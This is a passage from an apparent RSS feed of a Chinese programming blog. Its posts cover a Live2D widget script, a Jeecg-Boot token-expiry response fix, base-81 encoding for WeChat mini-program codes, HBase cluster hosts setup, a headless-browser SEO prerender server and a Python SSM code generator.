                            $('#live2d_bgm').attr('data-bgm',listNow);
                        });
                        document.getElementById('live2d_bgm').addEventListener(&amp;quot;error&amp;quot;, function(){
                            $('#live2d_bgm')[0].pause();
                            $('#musicButton').removeClass('play');
                            showMessage('音乐似乎加载不出来了呢！',0);
                        });
                    }
                    //获取用户名
                    var live2dUser = sessionStorage.getItem(&amp;quot;live2duser&amp;quot;);
                    if(live2dUser !== null){
                        $('#AIuserName').val(live2dUser);
                    }
                    //获取位置
                    var landL = sessionStorage.getItem(&amp;quot;historywidth&amp;quot;);
                    var landB = sessionStorage.getItem(&amp;quot;historyheight&amp;quot;);
                    if(landL == null || landB ==null){
                        landL = '5px'
                        landB = '0px'
                    }
                    $('#landlord').css('left',landL+'px');
                    $('#landlord').css('bottom',landB + 'px');
                    //移动
                    function getEvent() {
                        return window.event || arguments.callee.caller.arguments[0];
                    }
                    var smcc = document.getElementById(&amp;quot;landlord&amp;quot;);
                    var moveX = 0;
                    var moveY = 0;
                    var moveBottom = 0;
                    var moveLeft = 0;
                    var moveable = false;
                    var docMouseMoveEvent = document.onmousemove;
                    var docMouseUpEvent = document.onmouseup;
                    smcc.onmousedown = function(){
                        var ent = getEvent();
                        moveable = true;
                        moveX = ent.clientX;
                        moveY = ent.clientY;
                        var obj = smcc;
                        moveBottom = parseInt(obj.style.bottom);
                        moveLeft = parseInt(obj.style.left);
                        if(isFirefox=navigator.userAgent.indexOf(&amp;quot;Firefox&amp;quot;)&amp;gt;0){
                            window.getSelection().removeAllRanges();
                        }
                        document.onmousemove = function(){
                            if(moveable){
                                var ent = getEvent();
                                var x = moveLeft + ent.clientX - moveX;
                                var y = moveBottom +  (moveY - ent.clientY);
                                obj.style.left = x + &amp;quot;px&amp;quot;;
                                obj.style.bottom = y + &amp;quot;px&amp;quot;;
                            }
                        };
                        document.onmouseup = function(){
                            if(moveable){
                                var historywidth = obj.style.left;
                                var historyheight = obj.style.bottom;
                                historywidth = historywidth.replace('px', '');
                                historyheight = historyheight.replace('px', '');
                                sessionStorage.setItem(&amp;quot;historywidth&amp;quot;, historywidth);
                                sessionStorage.setItem(&amp;quot;historyheight&amp;quot;, historyheight);
                                document.onmousemove = docMouseMoveEvent;
                                document.onmouseup = docMouseUpEvent;
                                moveable = false;
                                moveX = 0;
                                moveY = 0;
                                moveBottom = 0;
                                moveLeft = 0;
                            }
                        };
                    };
                }
                $(document).ready(function() {
                    var AIimgSrc = [
                        &amp;quot;https://media.baby7blog.com/live2d/texture_00.png&amp;quot;
                    ]
                    var images = [];
                    var imgLength = AIimgSrc.length;
                    var loadingNum = 0;
                    for(var i=0;i&amp;lt;imgLength;i++){
                        images[i] = new Image();
                        images[i].src = AIimgSrc[i];
                        images[i].onload = function(){
                            loadingNum++;
                            if(loadingNum===imgLength){
                                var live2dhidden = localStorage.getItem(&amp;quot;live2dhidden&amp;quot;);
                                if(live2dhidden===&amp;quot;0&amp;quot;){
                                    setTimeout(function(){
                                        $('#open_live2d').fadeIn(200);
                                    },1300);
                                }else{
                                    setTimeout(function(){
                                        $('#landlord').fadeIn(200);
                                    },1300);
                                }
                                setTimeout(function(){
                                    loadlive2d(&amp;quot;live2d&amp;quot;, message_Path+&amp;quot;model/rem/rem.json&amp;quot;);
                                },1000);
                                initLive2d ();
                                images = null;
                            }
                        }
                    }
                });
            }

        }
    }
&amp;lt;/script&amp;gt;

&amp;lt;style scoped&amp;gt;

&amp;lt;/style&amp;gt;

&lt;/code&gt;&lt;/pre&gt;</description>
      <category>前端技术</category>
      <pubDate>Tue, 28 Apr 2020 12:01:53 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/69.html</comments>
    </item>
    <item>
      <title>对Jeecg-Boot中Token失效返回格式的调整</title>
      <link>https://www.baby7blog.com/myBlog/68.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FqOPohNT3eVm82WKXEea7Zgwpw6E" width="800"&gt;&lt;br&gt;
&lt;h1&gt;对Jeecg-Boot中Token失效返回格式的调整&lt;/h1&gt;

&lt;h3&gt;一、前言&lt;/h3&gt;
&lt;p&gt;使用 Jeecg-Boot 的Spring Boot后端模块开发，前端未使用Jeecg-Boot的配套前端。&lt;/p&gt;
&lt;h3&gt;二、问题&lt;/h3&gt;
&lt;p&gt;前端在对接过程中发现token失效后返回直接返回500，而不是返回200然后在返回体中设置自定义返回码，需要后端调整为返回200ok，请求体中的code为自定义的。&lt;/p&gt;
&lt;h3&gt;三、过程&lt;/h3&gt;
&lt;p&gt;发现请求中带失效token后端会报错&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;org.apache.shiro.authc.AuthenticationException: Token失效，请重新登录!
	at org.jeecg.modules.shiro.authc.ShiroRealm.checkUserTokenIsEffect(ShiroRealm.java:129)
	at org.jeecg.modules.shiro.authc.ShiroRealm.doGetAuthenticationInfo(ShiroRealm.java:101)
	at org.apache.shiro.realm.AuthenticatingRealm.getAuthenticationInfo(AuthenticatingRealm.java:571)
	at org.apache.shiro.authc.pam.ModularRealmAuthenticator.doSingleRealmAuthentication(ModularRealmAuthenticator.java:180)
	at org.apache.shiro.authc.pam.ModularRealmAuthenticator.doAuthenticate(ModularRealmAuthenticator.java:267)
	at org.apache.shiro.authc.AbstractAuthenticator.authenticate(AbstractAuthenticator.java:198)
	at org.apache.shiro.mgt.AuthenticatingSecurityManager.authenticate(AuthenticatingSecurityManager.java:106)
	at org.apache.shiro.mgt.DefaultSecurityManager.login(DefaultSecurityManager.java:274)
	at org.apache.shiro.subject.support.DelegatingSubject.login(DelegatingSubject.java:260)
	at org.jeecg.modules.shiro.authc.aop.JwtFilter.executeLogin(JwtFilter.java:57)
	at org.jeecg.modules.shiro.authc.aop.JwtFilter.isAccessAllowed(JwtFilter.java:40)
	at org.apache.shiro.web.filter.AccessControlFilter.onPreHandle(AccessControlFilter.java:162)
	at org.apache.shiro.web.filter.PathMatchingFilter.isFilterChainContinued(PathMatchingFilter.java:203)
	at org.apache.shiro.web.filter.PathMatchingFilter.preHandle(PathMatchingFilter.java:178)
	at org.jeecg.modules.shiro.authc.aop.JwtFilter.preHandle(JwtFilter.java:78)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中ShiroRealm和JwtFilter为jeecg-boot框架源码，其余为引用包代码，可以看到框架在ShiroRealm中抛出了AuthenticationException异常，之后一层层接收异常直到JwtFilter类的isAccessAllowed函数中处理异常，但是JwtFilter对异常的处理是再次抛出AuthenticationException，黑人问号.jpg&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;/**
    * 执行登录认证
    *
    * @param request
    * @param response
    * @param mappedValue
    * @return
    */
@Override
protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, Object mappedValue){
    try {
        executeLogin(request, response);
        return true;
    } catch (Exception e) {
        throw new AuthenticationException(&amp;quot;Token失效，请重新登录&amp;quot;, e);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是我们可以发现同样在JwtFilter类中有一个preHandle函数，我们可以在preHandle函数中对&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;return super.preHandle(request, response);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进行异常处理，修改为&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;try {
    return super.preHandle(request, response);
}
catch (AuthenticationException e){
    httpServletResponse.setStatus(HttpStatus.OK.value());
    JSONObject data = new JSONObject();
    data.put(&amp;quot;code&amp;quot;, 2333);
    data.put(&amp;quot;message&amp;quot;, &amp;quot;Token失效，请重新登录&amp;quot;);
    data.put(&amp;quot;success&amp;quot;, false);
    data.put(&amp;quot;timestamp&amp;quot;, new Date().getTime());
    /**获取OutputStream输出流*/
    OutputStream outputStream = response.getOutputStream();
    /**设置json返回格式*/
    ((HttpServletResponse) response).setHeader(&amp;quot;content-type&amp;quot;, &amp;quot;application/json&amp;quot;);
    /**将字符转换成字节数组，指定以UTF-8编码进行转换*/
    byte[] dataByteArr = data.toJSONString().getBytes(StandardCharsets.UTF_8);
    /**使用OutputStream流向客户端输出字节数组*/
    outputStream.write(dataByteArr);
    return false;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;经过postman测试为返回200ok，状态码2333&lt;/p&gt;</description>
      <category>后端技术</category>
      <pubDate>Tue, 28 Apr 2020 11:03:20 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/68.html</comments>
    </item>
    <item>
      <title>针对微信获取小程序码scene参数的数据压缩算法</title>
      <link>https://www.baby7blog.com/myBlog/67.html</link>
      <description>&lt;img src="https://media.baby7blog.com/Fh9vlJ_AsmG6B6AMGBegmgKciVTa" width="800"&gt;&lt;br&gt;
&lt;h1&gt;针对微信获取小程序码scene参数的数据压缩算法&lt;/h1&gt;

&lt;h3&gt;一、前言&lt;/h3&gt;
&lt;p&gt;微信小程序现在有四个获取小程序码的接口，分别是:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h4&gt;接口 A: 适用于需要的码数量较少的业务场景&lt;/h4&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;生成小程序码，可接受 path 参数较长，生成个数受限，请谨慎使用。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h4&gt;接口 B：适用于需要的码数量极多的业务场景&lt;/h4&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;生成小程序码，可接受页面参数较短，生成个数不受限。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h4&gt;接口 C：适用于需要的码数量较少的业务场景（不推荐使用）&lt;/h4&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;生成二维码，可接受 path 参数较长，生成个数受限。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h4&gt;接口 D：适用于“一物一码”的业务场景&lt;/h4&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;微信一物一码 支持生成小程序码。微信通过“一物一码”接口发放的二维码相比较普通链接二维码更安全、支持更小的印刷面积，支持跳转到指定小程序页面，且无数量限制&lt;/p&gt;
&lt;h3&gt;二、问题&lt;/h3&gt;
&lt;p&gt;需要生成的小程序码数量要求很大，接口D的场景不一致，不考虑，接口A和接口C的生成数量加起来不超过十万，剩下的选择只有接口B，但是接口B的要求scene参数为（最大32个可见字符，只支持数字，大小写英文以及部分特殊字符：!#$&amp;amp;'()&lt;em&gt;+,/:;=?@-._~，其它字符请自行编码为合法字符）
算起来的话数字10个，大小写英文有26&lt;/em&gt;2=52个，加上特殊字符共有82个字符，业务要求将两个信息放入32个字符内，不考虑别的手段，两个信息一个信息的数量小，但是另一个信息为数字和英文组成的36进制编码。
经过计算后可以发现将特殊字符中的一个作为分隔符，将32位信息36进制压缩进81进制中可以缩短到27位，一个做分隔，还有4位保存另一个信息！可以做！&lt;/p&gt;
&lt;h3&gt;三、接口B文档&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-url"&gt;POST https://api.weixin.qq.com/wxa/getwxacodeunlimit?access_token=ACCESS_TOKEN
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;|属性|类型|默认值|必填|说明|
|---|---|---|---|---|
|access_token|string||是|&lt;a href="https://developers.weixin.qq.com/miniprogram/dev/api-backend/open-api/access-token/auth.getAccessToken.html"&gt;接口调用凭证&lt;/a&gt;|
|scene|string||是|最大32个可见字符，只支持数字，大小写英文以及部分特殊字符：!#$&amp;amp;'()*+,/:;=?@-._~，其它字符请自行编码为合法字符（因不支持%，中文无法使用 urlencode 处理，请使用其他编码方式）|
|page|string|主页|否|必须是已经发布的小程序存在的页面（否则报错），例如 pages/index/index, 根路径前不要填加 /,不能携带参数（参数请放在scene字段里），如果不填写这个字段，默认跳主页面|
|width|number|430|否|二维码的宽度，单位 px，最小 280px，最大 1280px|
|auto_color|boolean|false|否|自动配置线条颜色，如果颜色依然是黑色，则说明不建议配置主色调，默认 false|
|line_color|Object|{&amp;quot;r&amp;quot;:0,&amp;quot;g&amp;quot;:0,&amp;quot;b&amp;quot;:0}|否|auto_color 为 false 时生效，使用 rgb 设置颜色 例如 {&amp;quot;r&amp;quot;:&amp;quot;xxx&amp;quot;,&amp;quot;g&amp;quot;:&amp;quot;xxx&amp;quot;,&amp;quot;b&amp;quot;:&amp;quot;xxx&amp;quot;} 十进制表示|
|is_hyaline|boolean|false|否|是否需要透明底色，为 true 时，生成透明底色的小程序|&lt;/p&gt;
&lt;p&gt;返回值为图片的Buffer&lt;/p&gt;
&lt;h3&gt;四、操作&lt;/h3&gt;
&lt;p&gt;将82个字符中的“-”拿出来做分隔符，剩下81个字符做为81进制，将36进制转为10进制，再将10进制转为81进制。&lt;/p&gt;
&lt;h3&gt;五、工具类&lt;/h3&gt;
&lt;p&gt;我写好了工具类，直接拿来用就可以&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import org.apache.commons.lang.StringUtils;
import java.math.BigInteger;

/**
 * 小程序码加密解密（进制转换）
 */
public class MiniCodeUtil {

    /**八十一进制*/
    private static String chars =
            &amp;quot;0123456789&amp;quot; +
            &amp;quot;ABCDEFGHIJ&amp;quot; +
            &amp;quot;KLMNOPQRST&amp;quot; +
            &amp;quot;UVWXYZabcd&amp;quot; +
            &amp;quot;efghijklmn&amp;quot; +
            &amp;quot;opqrstuvwx&amp;quot; +
            &amp;quot;yz!#$&amp;amp;'()*&amp;quot; +
            &amp;quot;+,/:;=?@._&amp;quot; +
            &amp;quot;~&amp;quot;;
    private static int scale = 81;
    private static int minLength = 4;

    /**
     * 加密
     * @param str 字符串
     * @return
     */
    public static String encode(String str) {
        BigInteger num = new BigInteger(str, 36);
        StringBuilder sb = new StringBuilder();
        int remainder;
        while (num.compareTo(BigInteger.valueOf(scale - 1)) &amp;gt; 0) {
            remainder = num.mod(BigInteger.valueOf(scale)).intValue();
            sb.append(chars.charAt(remainder));
            /**除以进制数，获取下一个末尾数*/
            num = num.divide(BigInteger.valueOf(scale));
        }
        sb.append(chars.charAt(num.intValue()));
        String value = sb.reverse().toString();
        return StringUtils.leftPad(value, minLength, '0');
    }

    /**
     * 解密
     * @param str 字符串
     * @return
     */
    public static String decode(String str) {
        /**将 0 开头的字符串进行替换*/
        str = str.replace(&amp;quot;^0*&amp;quot;, &amp;quot;&amp;quot;);
        BigInteger value = BigInteger.ZERO;
        char tempChar;
        BigInteger tempCharValue;
        for (int i = 0; i &amp;lt; str.length(); i++) {
            /**获取字符*/
            tempChar = str.charAt(i);
            /**单字符值*/
            tempCharValue = BigInteger.valueOf(chars.indexOf(tempChar));
            /**单字符值在进制规则下表示的值*/
            BigInteger item = BigInteger.valueOf(scale).pow(str.length() - i - 1);
            value = value.add(tempCharValue.multiply(item));
        }
        return addZeroForNum(value.toString(36), 32);
    }



    /**
     * 补零
     * str 原字符串
     * strLength 字符串总长
     * */
    private static String addZeroForNum(String str, int strLength) {
        int strLen = str.length();
        if (strLen &amp;lt; strLength) {
            while (strLen &amp;lt; strLength) {
                StringBuffer sb = new StringBuffer();
                sb.append(&amp;quot;0&amp;quot;).append(str);// 左补0
                // sb.append(str).append(&amp;quot;0&amp;quot;);//右补0
                str = sb.toString();
                strLen = str.length();
            }
        }
        return str;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;六、调用方式&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;System.out.println(MiniCodeUtil.decode(MiniCodeUtil.encode(&amp;quot;995587e102064d47b670f5b81253dd58&amp;quot;)));
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;七、Javascript函数（未做大数处理）&lt;/h3&gt;
&lt;p&gt;写了个javascript的解密函数，但是javascript对大于9007199254740992的数处理出现错误，所以该函数只能对位数比较短的数做处理，例如处理32位数会出现问题&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;var Stack = (function(){
    var items = new WeakMap();
    //先入后出，后入先出
    class Stack{
        constructor(){
            items.set(this,[]);
        }
        push(ele){
            //入栈
            var ls = items.get(this);
            ls.push(ele);
        }
        pop(){
            //出栈
            var ls = items.get(this);
            return ls.pop();
        }
        size(){
            //获取栈的长度
            var ls = items.get(this);
            return ls.length;
        }
        print(){
            //打印栈
            var ls = items.get(this);
            return ls.toString();
        }
    }
    return Stack;
})();
    
/**
    * num 需要转化的数字
    * base 转化的进制，默认为 2
    * */
function devide(num,base){
    base = Math.floor(base) || 2;
    if(typeof num != &amp;quot;number&amp;quot; || num &amp;lt; 0 || base &amp;gt; 36 || base &amp;lt; 2){
        throw new Error(&amp;quot;参数错误&amp;quot;);
        return '';
    }
    num = Math.floor(num);
    
    var code = &amp;quot;0123456789abcdefghijklmnopqrstuvwxyz&amp;quot;;
    var stack = new Stack();
    var res = '';
    var rem;
    while(num &amp;gt; 0){
        rem = num % base;
        stack.push(rem);
        num = Math.floor(num/base);
    }
        
    while(stack.size() &amp;gt; 0){
        res += code[stack.pop()];
    }
        
    return res;
}
function transfrom(num,base){
    //任意进制转十进制
    var bases = [
        &amp;quot;0&amp;quot;,&amp;quot;1&amp;quot;,&amp;quot;2&amp;quot;,&amp;quot;3&amp;quot;,&amp;quot;4&amp;quot;,&amp;quot;5&amp;quot;,&amp;quot;6&amp;quot;,&amp;quot;7&amp;quot;,&amp;quot;8&amp;quot;,&amp;quot;9&amp;quot;,
        &amp;quot;A&amp;quot;,&amp;quot;B&amp;quot;,&amp;quot;C&amp;quot;,&amp;quot;D&amp;quot;,&amp;quot;E&amp;quot;,&amp;quot;F&amp;quot;,&amp;quot;G&amp;quot;,&amp;quot;H&amp;quot;,&amp;quot;I&amp;quot;,&amp;quot;J&amp;quot;,
        &amp;quot;K&amp;quot;,&amp;quot;L&amp;quot;,&amp;quot;M&amp;quot;,&amp;quot;N&amp;quot;,&amp;quot;O&amp;quot;,&amp;quot;P&amp;quot;,&amp;quot;Q&amp;quot;,&amp;quot;R&amp;quot;,&amp;quot;S&amp;quot;,&amp;quot;T&amp;quot;,
        &amp;quot;U&amp;quot;,&amp;quot;V&amp;quot;,&amp;quot;W&amp;quot;,&amp;quot;X&amp;quot;,&amp;quot;Y&amp;quot;,&amp;quot;Z&amp;quot;,&amp;quot;a&amp;quot;,&amp;quot;b&amp;quot;,&amp;quot;c&amp;quot;,&amp;quot;d&amp;quot;,
        &amp;quot;e&amp;quot;,&amp;quot;f&amp;quot;,&amp;quot;g&amp;quot;,&amp;quot;h&amp;quot;,&amp;quot;i&amp;quot;,&amp;quot;j&amp;quot;,&amp;quot;k&amp;quot;,&amp;quot;l&amp;quot;,&amp;quot;m&amp;quot;,&amp;quot;n&amp;quot;,
        &amp;quot;o&amp;quot;,&amp;quot;p&amp;quot;,&amp;quot;q&amp;quot;,&amp;quot;r&amp;quot;,&amp;quot;s&amp;quot;,&amp;quot;t&amp;quot;,&amp;quot;u&amp;quot;,&amp;quot;v&amp;quot;,&amp;quot;w&amp;quot;,&amp;quot;x&amp;quot;,
        &amp;quot;y&amp;quot;,&amp;quot;z&amp;quot;,&amp;quot;!&amp;quot;,&amp;quot;#&amp;quot;,&amp;quot;$&amp;quot;,&amp;quot;&amp;amp;&amp;quot;,&amp;quot;'&amp;quot;,&amp;quot;(&amp;quot;,&amp;quot;)&amp;quot;,&amp;quot;*&amp;quot;,
        &amp;quot;+&amp;quot;,&amp;quot;,&amp;quot;,&amp;quot;/&amp;quot;,&amp;quot;:&amp;quot;,&amp;quot;;&amp;quot;,&amp;quot;=&amp;quot;,&amp;quot;?&amp;quot;,&amp;quot;@&amp;quot;,&amp;quot;.&amp;quot;,&amp;quot;_&amp;quot;,
        &amp;quot;~&amp;quot;];
    var config = {};
    for(var k = 0; k &amp;lt; base; k++){
        config[bases[k]] = k;
    }
    num = String(num);
    var count =  0;
    var res = 0;
    var i;
    while(num.length &amp;gt; 0){
        i  = num[num.length - 1];
        i = config[i];
        res = res + i * Math.pow(base,count);
        num = num.substr(0,num.length-1);
        count++;
    }
    return res;
}




/**字符串*/
var str = '1f/@*WYzW(Bq:yJSWqguXPJSf1W'
var str_res = devide(transfrom(str,81),36);
console.log(&amp;quot;str_res :&amp;quot; + str_res )
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>前端技术</category>
      <pubDate>Tue, 28 Apr 2020 00:30:33 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/67.html</comments>
    </item>
    <item>
      <title>Hbase 3节点分布式集群搭建（服务器）</title>
      <link>https://www.baby7blog.com/myBlog/66.html</link>
      <description>&lt;img src="https://media.baby7blog.com/Fp2rhwM_SXzZ7gOrPjiScRgynSA8" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Hbase 3节点分布式集群搭建（服务器）&lt;/h1&gt;

&lt;p&gt;主要参考了&lt;a href="https://blog.csdn.net/qq_34758475/article/details/84337320"&gt;hbase高可用性分布式集群搭建（3节点超详细集群安装）&lt;/a&gt;
中间踩了一堆坑，最后发现服务器的host应该这么设置(vim /etc/hosts)：&lt;/p&gt;
&lt;p&gt;master&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-hosts"&gt;127.0.0.1 localhost
填你的内网IP master
填你的公网IP slave1
填你的公网IP slave2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;slave1&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-hosts"&gt;127.0.0.1 localhost
填你的公网IP master
填你的内网IP slave1
填你的公网IP slave2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;slave2&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-hosts"&gt;127.0.0.1 localhost
填你的公网IP master
填你的公网IP slave1
填你的内网IP slave2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是三节点的配置，多节点以此类推
然后三个服务器之间的安全组要配置：对其余两台服务器放通所有协议和端口（注意！！！只对其余两台服务器，别全放开了，可能别人分分钟给你黑了）&lt;/p&gt;</description>
      <category>服务器相关</category>
      <pubDate>Wed, 25 Mar 2020 07:23:23 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/66.html</comments>
    </item>
    <item>
      <title>基于谷歌/火狐无头浏览器模式解决Vue的SEO问题 2.0</title>
      <link>https://www.baby7blog.com/myBlog/65.html</link>
      <description>&lt;img src="https://media.baby7blog.com/Fm0bs4IF_GPYs8pBXQU2FkBvFclJ" width="800"&gt;&lt;br&gt;
&lt;h1&gt;基于谷歌/火狐无头浏览器模式解决Vue的SEO问题 2.0&lt;/h1&gt;

&lt;p&gt;这是 基于谷歌/火狐无头浏览器模式解决Vue的SEO问题 2.0版本，优化了&lt;a href="https://www.baby7blog.com/myBlog/39.html"&gt;上一个版本&lt;/a&gt;，去掉了nodejs模块，集成到了python中&lt;/p&gt;
&lt;p&gt;下面是优化过后的python代码&lt;/p&gt;
&lt;p&gt;这里使用python调用火狐浏览器获取渲染数据&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;from http.server import HTTPServer, BaseHTTPRequestHandler
from selenium.webdriver.chrome.options import Options
from selenium import webdriver

host = ('localhost', 3000)


class Resquest(BaseHTTPRequestHandler):
    def getHTML(self, url):
        options = Options()
        options.add_argument('--headless')  # 无界面
        options.add_argument('--no-sandbox')
        options.add_argument('--disable-gpu')
        options.add_argument('--disable-dev-shm-usage')
        browser = webdriver.Chrome(options=options)  # 打开浏览器
        browser.get(url=url)  # 请求
        html_msg = browser.page_source.encode('GBK', 'ignore').decode('GBk')
        browser.close()  # 关闭浏览器
        browser.quit()  # # 杀死chrome浏览器的连接桥(chromedriver)的进程
        return html_msg

    def do_GET(self):
        print(self.headers)
        self.send_response(200)
        self.end_headers()
        self.wfile.write(self.getHTML(&amp;quot;https://www.baby7blog.com&amp;quot; + self.path).encode())


if __name__ == '__main__':
    server = HTTPServer(host, Resquest)
    print(&amp;quot;Starting server, listen at: %s:%s&amp;quot; % host)
    server.serve_forever()

&lt;/code&gt;&lt;/pre&gt;</description>
      <category>服务器相关</category>
      <pubDate>Wed, 25 Mar 2020 07:09:59 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/65.html</comments>
    </item>
    <item>
      <title>python通过数据库自动生成SSM代码</title>
      <link>https://www.baby7blog.com/myBlog/64.html</link>
      <description>&lt;img src="https://media.baby7blog.com/Fs2jLDGO2v279jmDu1Y8N0BNO3a4" width="800"&gt;&lt;br&gt;
&lt;h1&gt;python通过数据库自动生成SSM代码&lt;/h1&gt;

&lt;p&gt;前段时间要写几个差不多的项目，后天都是用的SSM，然后用ajax通信，就先敲了个这个出来。&lt;/p&gt;
&lt;p&gt;思路是做一个模板，然后读取数据库结构，最后生成代码包。&lt;/p&gt;
&lt;p&gt;因为比较着急，也没细做，先放到这，后面有时间了完善一下。&lt;/p&gt;
&lt;h2&gt;主模块&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;#!/usr/bin/python3
import mysql
import file
import template

db_name = &amp;quot;*&amp;quot;    # 数据库名


if __name__ == '__main__':
    # 连接数据库读取表列表
    table_list = mysql.get_table_list(db_name)
    # 获取代码模板
    template_list = file.get_template_list()
    for table in table_list:
        # 获取表结构
        table_struct_list = mysql.get_table_struct(table, db_name)
        # 对代码模板进行加工
        code_gen_list = template.handle(table, table_struct_list, template_list)
        # 输出成品代码
        file.save_code_gen(table, code_gen_list)

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;文件模块&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;#!/usr/bin/python3
import os
import template

# 代码模板列表
template_baseJavaWeb_path_list = [
    &amp;quot;template-baseJavaWeb/bean/Base.java&amp;quot;,
    &amp;quot;template-baseJavaWeb/controller/BaseController.java&amp;quot;,
    &amp;quot;template-baseJavaWeb/dao/BaseMapper.java&amp;quot;,
    &amp;quot;template-baseJavaWeb/mapping/BaseMapper.xml&amp;quot;,
    &amp;quot;template-baseJavaWeb/service/BaseService.java&amp;quot;,
    &amp;quot;template-baseJavaWeb/serviceImpl/BaseServiceImpl.java&amp;quot;
]
# template_ssm_manage_path_list = [
#     &amp;quot;template-ssm-manage/controller/BaseController.java&amp;quot;,
#     &amp;quot;template-ssm-manage/mapper/BaseMapper.java&amp;quot;,
#     &amp;quot;template-ssm-manage/mapper/BaseMapper.xml&amp;quot;,
#     &amp;quot;template-ssm-manage/service/BaseService.java&amp;quot;,
#     &amp;quot;template-ssm-manage/po/Base.java&amp;quot;
# ]
# template_permission_path_list = [
#     &amp;quot;template-permission/controller/BaseController.java&amp;quot;,
#     &amp;quot;template-permission/mapper/BaseMapper.java&amp;quot;,
#     &amp;quot;template-permission/mapper/BaseMapper.xml&amp;quot;,
#     &amp;quot;template-permission/pojo/Base.java&amp;quot;,
#     &amp;quot;template-permission/service/impl/BaseServiceImpl.java&amp;quot;,
#     &amp;quot;template-permission/service/BaseService.java&amp;quot;
# ]

template_path_list = template_baseJavaWeb_path_list


def get_template_list():
    &amp;quot;&amp;quot;&amp;quot;代码模板列表获取

    :return: 代码模板列表
    &amp;quot;&amp;quot;&amp;quot;
    template_list = []
    for template_path in template_path_list:
        with open(template_path, 'r', encoding='UTF-8') as file:
            template_list.append(file.read())
    print(&amp;quot;获取代码模板成功，代码模板路径列表：&amp;quot; + str(template_path_list))
    return template_list


def save_code_gen(table_name, code_gen_list):
    &amp;quot;&amp;quot;&amp;quot;成品代码保存

    :param table_name: 表名
    :param code_gen_list: 成品代码列表
    &amp;quot;&amp;quot;&amp;quot;
    index = 0
    for template_path in template_path_list:
        template_folder_path = template_path[:template_path.find(&amp;quot;Base&amp;quot;)-1]
        template_folder_path = template_folder_path.replace(&amp;quot;template&amp;quot;, &amp;quot;code-gen&amp;quot;)
        if not os.path.exists(template_folder_path):
            os.makedirs(template_folder_path)
        template_path = template_path.replace(&amp;quot;template&amp;quot;, &amp;quot;code-gen&amp;quot;)
        template_path = template_path.replace(&amp;quot;Base&amp;quot;, template.line_to_hump(table_name[&amp;quot;Name&amp;quot;]))
        print(&amp;quot;保存路径：&amp;quot; + template_path)
        with open(template_path, 'w+', encoding='UTF-8') as file:
            file.write(code_gen_list[index])
        index = index + 1
    print(&amp;quot;保存成品代码成功！！！&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;数据库模块&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;import pymysql

host = 'localhost'
user = 'root'
password = 'root'


def get_table_list(db_name):
    &amp;quot;&amp;quot;&amp;quot;连接数据库读取表列表

    :return: 数据库表列表
    &amp;quot;&amp;quot;&amp;quot;
    tables = []
    connection = pymysql.connect(host=host, user=user, password=password, db=db_name,
                                 charset='utf8', cursorclass=pymysql.cursors.DictCursor)
    try:
        with connection.cursor() as cursor:
            cursor.execute(&amp;quot;show table status;&amp;quot;)
            table = cursor.fetchall()  # 获取所有（输出是列表，列表中的每个元素是字典，字典的KEY是Tables_in_拼接数据库名称）
        for k in range(len(table)):  # 提取表名
            tables.append({&amp;quot;Name&amp;quot;: table[k]['Name'], &amp;quot;Comment&amp;quot;: table[k]['Comment']})
    finally:
        connection.commit()
        connection.close()
    print(&amp;quot;获取表名成功，[表名,注释]列表：&amp;quot; + str(tables))
    return tables


def get_table_struct(table_name, db_name):
    &amp;quot;&amp;quot;&amp;quot;获取表结构
    
    :param table_name: {Name:表名,Comment:注释}
    :return: 表结构
    &amp;quot;&amp;quot;&amp;quot;
    structs = []
    connection = pymysql.connect(host=host, user=user, password=password, db=db_name,
                                 charset='utf8', cursorclass=pymysql.cursors.DictCursor)
    cursor = connection.cursor()
